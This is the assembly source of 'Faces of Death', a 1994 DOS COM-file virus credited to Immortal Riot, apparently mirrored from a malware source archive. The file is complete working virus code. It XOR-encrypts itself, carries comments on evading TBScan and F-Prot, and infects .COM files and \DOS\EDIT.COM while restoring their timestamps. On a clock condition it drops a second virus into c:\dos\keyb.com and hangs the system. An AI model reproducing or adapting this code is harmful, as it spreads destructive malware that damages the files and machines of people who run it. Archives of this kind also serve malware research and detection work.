mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
247 lines
8.5 KiB
NASM
247 lines
8.5 KiB
NASM
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; ------------------------------------------------------------------------------
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;
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; - Faces of Death -
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; Created by Immortal Riot's destructive development team
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; (c) 1994 The Unforgiven/Immortal Riot
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;
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; ------------------------------------------------------------------------------
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; <20> Undetectable COM-infector(s) with a neat pay-load system! <20>
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; ------------------------------------------------------------------------------
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.model tiny
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.radix 16
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.code
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org 100h
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start:
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first_gen_buffer db 00,00,00,00 ; for first generation only!
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v_start:
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entry_point:
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mov sp,102h ; get the delta offset so tbscan cant
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call get_delta ; flag it as flexible entry point
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get_delta:
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mov bp,word ptr ds:[100h]
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mov sp,0fffeh
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sub bp,offset get_delta
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mov ax,0305h ; this code was included to avoid detection
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xor bx,bx ; from tbscan. The vsafe disabeling code can
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int 16h ; be used as well, but f-prot heuristics
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; complains about it.
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call en_de_crypt ; decrypt the virus
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jmp short real_start ; and continue...
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encrypt_value dw 0 ; random xor (encryption) value
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write_virus:
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call en_de_crypt ; write encrypted copy of the virus
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mov ah,40 ;
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mov cx,code_end-v_start ; # bytes
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lea dx,[bp+v_start] ; dx:100h
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int 21 ;
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call en_de_crypt ; decrypt virus again for further processing
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ret
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en_de_crypt:
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mov ax,word ptr [bp+encrypt_value]
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lea si,[bp+real_start]
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mov cx,(enc_end-real_start+1)/2
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xor_loopie:
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xor word ptr [si],ax ; encrypts two bytes/loop until all
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inc si ; code between real_start and enc_end
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inc si ; are encrypted
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loop xor_loopie
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ret
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real_start:
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cmp word ptr cs:[5dh],'?-' ; check for -? in the command line
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jne chk_cond ; no valid virus option!
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mov ah,9 ; tell them that i wrote the virus,
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lea dx,[bp+offset v_name] ; and quit without infecting!
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int 21h
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int 20h
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chk_cond:
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mov ah,2ch ; get time of 1/100 of a second value from
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int 21h ; the system clock
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cmp dl,58 ; value == 58h (88d)
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jne get_drive ; nope!
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cr_file: ; value = 58h
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mov ah,3ch ; create the file c:\dos\keyb.com
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mov cx,0 ; Doh! One byte wasted!
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lea dx,[bp+file_create]
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int 21h
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xchg ax,bx
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mov ah,40h ; write the
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mov cx,len ; 80hex virus,
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lea dx,[bp+write] ; from this virus
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int 21h ; to keyb.com
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mov ah,3eh ; close file
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lea dx,[bp+offset file_create] ; c:\dos\keyb.com
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int 21h
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jmp $ ; and hang
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get_drive:
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mov ah,19h ; get drive from where we are executed from
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int 21h ; check if it's a: or b:
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cmp al,2 ; if so, return control to the original
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jb quit ; program without infecting other files
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lea si,[bp+org_buf] ; copy the first four bytes of the file
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mov di,100 ; (from di:100h) to org_buf
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movsw ;
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movsw ;
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lea dx,[bp+code_end] ; set our own dta to code_end, so
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call set_dta ; the paramters when findfiles arent
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; destroyed
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lea dx,[bp+direct_infect] ; if present, infect
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call dirinfect ; \dos\edit.com
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mov ah,4e ; search for com files
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lea dx,[bp+com_files] ;
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find_next:
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int 21
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jc no_more_files ; no more files find, exit!
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call infect ; found a find, infect it!
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mov ah,4f ; search next file
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jmp short find_next ; and see if we find one
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no_more_files: ;
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mov dx,80 ; set the dta to 80h (default)
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call set_dta ;
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quit: ;
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mov di,100 ; return control to original program
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push di ;
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ret
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infect:
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lea dx,[bp+code_end+1e] ; 1e = adress to filename in ds:dx in our
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; new dta area!
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dirinfect:
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mov ax,3d02 ; open file
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int 21 ; in read/write mode
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jnc infect_it ; if the file \dos\edit.com doesnt exist
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ret ; return, and search first comfile
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infect_it:
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xchg bx,ax ; filehandle in bx
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mov ax,5700 ; get time/date
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int 21
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push dx ; save date
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push cx ; save time
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mov ah,3f ; read the first four bytes
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mov cx,4 ; of the file to org_buf
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lea dx,[bp+org_buf]
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int 21
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cmp byte ptr [bp+org_buf+3],07h ; previous infected
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jz finish_infect ;
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cmp word ptr [bp+org_buf],9090h ; double nop
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jz finish_infect ;
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cmp word ptr [bp+org_buf],5a4dh ; ZM (exe file)
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jz finish_infect ;
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cmp word ptr [bp+org_buf],4d5ah ; MZ (exe-file)
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jz finish_infect ;
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cmp byte ptr [bp+org_buf+1],6Dh ; command.com
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jz finish_infect ;
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mov ax, word ptr [bp+code_end+1ah] ; <1000 bytes
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cmp ax,1000d ;
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jb finish_infect
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cmp ax,64000d ; >64000 bytes
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ja finish_infect ;
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mov ax,4202 ; move file-pointer
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xor cx,cx ; to end of file
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cwd
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int 21
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sub ax,3 ; substract bytes
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mov word ptr [bp+first_four+1],ax ; to our own jump
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get_value:
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mov ah,2ch ; get system clock for
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int 21h ; 1/100 of a second
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jz get_value ; if zero = get new value
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add ax,3 ; this will be used for
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mov word ptr [bp+encrypt_value],dx ; the xor-value
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call write_virus ; write virus to end of file
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mov ax,4200 ; move file-pointer to
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xor cx,cx ; top of file
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cwd
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int 21
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mov ah,40 ; write our own jump
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mov cx,4 ; instruction to the
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lea dx,[bp+first_four] ; beginning
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int 21
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finish_infect:
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mov ax,5701 ; set back
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pop cx ; time
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pop dx ; date
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int 21 ;
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mov ah,3e ; close file
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int 21
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ret ; return and continue!
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set_dta:
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mov ah,1a ; code to set the disk transfer area
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int 21 ;
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ret
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v_name db "Faces of Death - (c) 1994 The Unforgiven/Immortal Riot$"
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direct_infect db '\DOS\EDIT.COM',0
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file_create db 'c:\dos\keyb.com',0
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write db "<EFBFBD>J<EFBFBD><EFBFBD>N<EFBFBD>J<EFBFBD>!s <EFBFBD>,<EFBFBD>!<EFBFBD><EFBFBD>Or<EFBFBD><EFBFBD>
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endwrite:
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len equ endwrite-write
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com_files db '*.com',0
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first_four db 0e9,90,90,07 ; buffer to calculate the new entry
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org_buf db 90,90,0CDh,20 ; buffer to save the first four bytes
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enc_end:
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code_end:
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end start
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